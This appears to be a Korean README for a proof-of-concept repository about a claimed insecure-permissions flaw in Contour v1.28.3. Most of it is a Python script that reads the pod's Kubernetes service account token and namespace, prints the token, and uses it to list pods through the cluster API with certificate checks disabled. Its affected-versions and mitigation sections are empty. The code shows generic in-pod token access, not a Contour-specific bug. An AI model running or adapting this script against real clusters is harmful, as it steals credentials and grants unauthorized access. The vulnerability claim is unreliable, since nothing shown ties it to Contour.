
Contour v1.28.3의 안전하지 않은 권한에 대한 PoC 익스플로잇으로, Kubernetes 서비스 계정 토큰을 검색하고 클러스터 API에 액세스하여 권한 상승을 시연합니다.
다음은 Contour v1.28.3의 안전하지 않은 권한 취약점을 보여주는 개념 증명(PoC)에 대한 README.md입니다:
이 저장소는 Contour v1.28.3에서 안전하지 않은 권한 취약점을 보여주는 개념 증명(PoC) 스크립트를 포함합니다. 이 취약점을 통해 공격자는 서비스 계정의 토큰을 획득하여 민감한 데이터에 접근하고 권한을 상승시킬 수 있습니다.
CVE-ID: (보류 중)
개요: Contour v1.28.3에는 공격자가 서비스 계정의 토큰에 접근할 수 있게 하는 안전하지 않은 권한이 포함되어 있습니다. 이 취약점을 악용하면 공격자가 서비스 계정의 토큰을 획득하여 Kubernetes 클러스터 내에서 민감한 데이터에 접근하고 잠재적으로 권한을 상승시킬 수 있습니다.
영향받는 버전:
완화 조치:
이 PoC 스크립트는 Contour v1.28.3에서 서비스 계정의 토큰에 접근하는 방법을 보여줍니다. 이 테스트를 수행하기 위해 명시적인 허가를 받았는지 확인하십시오.
import os
import requests
# Configuration
kubernetes_api_url = "https://kubernetes.default.svc" # Kubernetes API URL
token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token" # Path to the service account token
namespace_path = "/var/run/secrets/kubernetes.io/serviceaccount/namespace" # Path to the namespace
def get_service_account_token():
try:
# Read the service account token
with open(token_path, 'r') as token_file:
token = token_file.read().strip()
print(f"[+] Service Account Token: {token}")
return token
except Exception as e:
print(f"[-] Error reading token: {e}")
return None
def get_namespace():
try:
# Read the namespace
with open(namespace_path, 'r') as namespace_file:
namespace = namespace_file.read().strip()
print(f"[+] Namespace: {namespace}")
return namespace
except Exception as e:
print(f"[-] Error reading namespace: {e}")
return None
def access_kubernetes_api(token, namespace):
try:
# Set the headers with the token
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# Make a request to the Kubernetes API to get pods in the namespace
response = requests.get(f"{kubernetes_api_url}/api/v1/namespaces/{namespace}/pods", headers=headers, verify=False)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.json())
if response.status_code == 200:
print("[+] Successfully accessed Kubernetes API.")
else:
print("[-] Failed to access Kubernetes API.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Get the service account token and namespace
token = get_service_account_token()
namespace = get_namespace()
if token and namespace:
# Access the Kubernetes API using the token
access_kubernetes_api(token, namespace)
이 취약점을 해결하려면:
Contour 배포 보안에 대한 자세한 내용은 공식 Contour 문서를 참조하십시오.
이 README.md는 취약점 개요, 문제를 보여주는 PoC 스크립트, 위험을 완화하는 방법에 대한 지침을 제공합니다. 이 PoC를 책임감 있게 사용하고 명시적 권한이 있는 시스템에서만 처리하십시오.